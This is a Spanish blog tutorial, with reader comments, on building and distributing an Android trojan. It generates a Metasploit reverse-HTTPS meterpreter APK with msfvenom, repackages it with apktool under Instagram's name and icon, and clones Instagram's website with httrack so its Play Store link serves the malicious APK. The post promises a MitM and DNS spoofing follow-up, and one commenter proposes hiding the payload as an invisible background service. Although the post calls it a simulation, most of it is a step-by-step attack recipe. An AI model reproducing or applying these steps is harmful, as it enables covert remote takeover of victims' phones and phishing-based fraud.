«Colando» Malware en Android:primera parte

Con el auge de los dispositivos móviles, no es de extrañar que estos de hayan convertido en un objetivo muy jugoso, para ser blanco de ataques de todo tipo de ataques, es evidente que cada vez usamos mas estos dispositivos y depositamos mas información en los mismos, ademas de realizar cada vez mas operaciones desde ellos, vía aplicaciones,webs,etc..

Es evidente que para poder evitar ser atacado por estas aplicaciones y saber como prevenirlo para ello primero tenemos que conocer como funciona, y para ello lo mejor es realizar nosotros mismos una simulación de infección.

Nuestro objetivo es conseguir que nuestra victima instale una aplicación maliciosa que nos dará acceso total al teléfono desde una ubicación remota, ¿imposible? lo vemos

Preparando nuestro app maliciosa

Para preparar nuestra app maliciosa vamos a usar el conocido mfm(MetaExploit Framework) para ello vamos a instalarlo en un equipo con debian. Como lo que queremos es tenerlo listo y funcional rápidamente, vamos a hacer uso de las versiones Nightly. En este ejemplo vamos a crear una aplicación que nos permita realizar una conexión inversa, dejando abierto un puerto en nuestro terminal al que podríamos conectarnos desde otro equipo sin necesidad de privilegios, en este caso nuestra aplicación estará vacia, pero podríamos meter esto dentro de una aplicación legitima y que el usuario no supiera nunca que tiene un backdoor ;)

Instalando Metaexploit

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
  ./msfinstall

Nota:El script tiene que ser ejecutado como root

Creando apk

msfvenom -p android/meterpreter/reverse_https LHOST=IP LPORT=PUERTO R -o malware.apk

Una vez creada nuestra app maliciosa, como veremos «canta» mucho por lo que vamos a darle un poco de «tunning» a la app para que parezca una app mas «normal», para ello vamos a usar lo que aprendimos en nuestros artículos sobre destripe de android https://elbinario.net/?s=destripando+aplicaciones+en+android para destripar el apk de nuestra app maliciosa, darle un poco de «maquillaje» y volverlo a ensamblar.

Si copiamos nuestro apk a nuestro dispositivo movil y lo ejecutamos veremos lo siguiente:

Como podéis comprobar nuestra aplicacion «canta demasiado» como para poder «engañar» a un usuario para que la instale, en su dispositivo, por lo que necesitamos «tunearla» un poco:

Desamblando al apk

Vamos de desamblar nuestra aplicación para poder modificarla, para ello vamos a hacer uso de apktool, como ya vimos en artículos anteriores:

 apktool d aplicacionmaliciosa.apk

Editando el manifest

Ahora vamos a editar los ficheros strings.xml y AndroidManifest.xml Modificamos el fichero strings.xml que encontramos en la carpeta /res/values indicándole el nombre de nuestra aplicación: Tambien modificamos nuestro AndroidManifest.xml para indicar la linea <application android:icon="@drawable/icon"> en nuestro fichero indicando que debe buscar el icono de la aplicación en la carpeta drawable,donde le dejaremos: Creamos la carpeta drawable en nuestra ruta en el directorio /res y metemos el icono que bajaremos de aqui –> https://github.com/danzeeeman/instagram-decompiled/blob/master/res/drawable-hdpi/icon.png

Ensamblando

Ahora que tenemos nuestra apk modificada vamos a volver a ensamblarla como vimos en https://elbinario.net/2017/04/03/destripando-aplicaciones-en-android-final/

apktool b /directorioapk

Si copiamos nuestra aplicación a nuestro dispositivo móvil y simulamos instalarla veremos que ya tiene «mejor pinta»

Ingeniería social y MitM

Ahora que tenemos nuestro malware, seguro que pensaras que esto solo es efectivo si tienes acceso al terminal porque «la gente» no se instala cualquier aplicación que le pases, pero esto no es de todo cierto, porque siempre puedes perpetrar un engaño para sean ellos mismos quienes se instalen la aplicación, vamos a ello:

Hemos dado a nuestro malware, la apariencia de una aplicación de android muy conocida como instagram, la cual tiene millones de usuarios, la aplicación dispone de un montón de filtros para fotos y sus usuarios se pirran por que las nuevas versiones de la aplicación traigan nuevos filtros y poder «fardar» de ellos.

Por lo que el vector de ataque esta claro, tenemos que montar una web que simule ser instagram con los enlaces a la tienda de android modificado para que descargue nuestra apk maliciosa, pero como los usuarios no van a pinchar en una dirección que no sea la de instagram, tenemos que realizar un ataque MitM para redirigirles a la web trampa, en vez de a la dirección correcta.

Montando nuestra web trampa Suponiendo que tenemos ya en el equipo un servidor web, listo para servir la pagina,tan solo tenemos que realizar los siguientes pasos:

  • Instalar httrack y Descargar la pagina inicial de instagram

    apt-get install httrack

httrack https://www.instagram.com

Las imágenes no se bajan correctamente por lo que necesitamos crear la siguiente ruta en nuestro directorio web y meter allí las siguientes imágenes /static/images/ :

mkdir -p /srv/www/htdocs/static/images/homepage/home-phones.jpg
wget https://www.instagram.com/static/images/homepage/home-phones.png/38825c9d5aa2.png
mkdir -p /srv/www/htdocs/static/images/homepage/screenshot1.jpg
wget https://www.instagram.com/static/images/homepage/screenshot1.jpg/aafd8c6b005d.jpg
mkdir -p /srv/www/htdocs/static/images/homepage/screenshot2.jpg
wget https://www.instagram.com/static/images/homepage/screenshot2.jpg/2d9d7248af43.jpg

Para los botones de las tiendas de la aplicación tendréis que hacer los mismo, no voy a repetir el proceso solo indicar que la ruta es images/appstore-install-badges/

Para el logo –> https://www.instagram.com/static/sprites/core/1196d2.png

Para modificar el botón de la tienda de android necesitas modificar la siguiente linea ubicada en el archivo /static/bundles/en_US_Commons.js/52d7bfe0518d.js :

hxCIi3Rijpe1aK_tFbtPyEZmoss",c="https://play.google.com/store/apps/details?id=com.instagram.android

Modificando la url del play.google.com por la url donde tengamos nuestro bicho.

Nuestra web-trampa quedaría así mas o menos.

En el siguiente articulo veremos como hacer uso de un MitM y dns spoofing para redirigir a las victimas a nuestra web trampa, para que descarguen nuestro malware.

Compartir

5 Comentarios

  1. Interesante, aunque habría que refinar la técnica. Evidentemente el nuevo .apk no va a tener la interfaz de instagram, al abrirlo va a cantar, sobre todo si tienes dos apps con el icono de insta. Una posibilidad interesante sería crear una app sin filtro de Intent para el launcher, de forma que la app no aparezca, y crear un servicio que haga las maldades, dejando la aplicación real de instagram. Muchas veces no se notan los efectos de las actualizaciones, por lo que es viable decir en la web de spoofing que es una versión nueva que corrige algunos fallos y va ligeramente más rápido, y colar un .apk sin interfaz gráfica que tenga el virus como servicio. Una vez instalado, el usuario seguirá abriendo la app real de instagram. Por supuesto no notará cambios (porque no los hay), pero esto no es muy cantoso. Muchas actualizaciones no tienen cambios visuales. Si prometes un 2% de mejora del rendimiento con la actualización, no se da cuenta ni $DEITY.

    Eso que describo es un engaño mucho mejor que tener dos apps de instagram en el launcher, que parecería raro incluso al más inepto de los usuarios.

    Saludos !

    1. Claro, es solo una prueba de concepto, de simulación de ataque, para algo mas «real» lo mas lógico seria desensamblar una aplicación existente y meter el payload que genera msf dentro del código, modificando los archivos .smali o la opción que comentas, pero el objetivo del articulo no es «hacer el mal» ;)

Deja una respuesta

Your email address will not be published. Required fields are marked *

To create code blocks or other preformatted text, indent by four spaces:

    This will be displayed in a monospaced font. The first four 
    spaces will be stripped off, but all other whitespace
    will be preserved.
    
    Markdown is turned off in code blocks:
     [This is not a link](http://example.com)

To create not a block, but an inline code span, use backticks:

Here is some inline `code`.

For more help see http://daringfireball.net/projects/markdown/syntax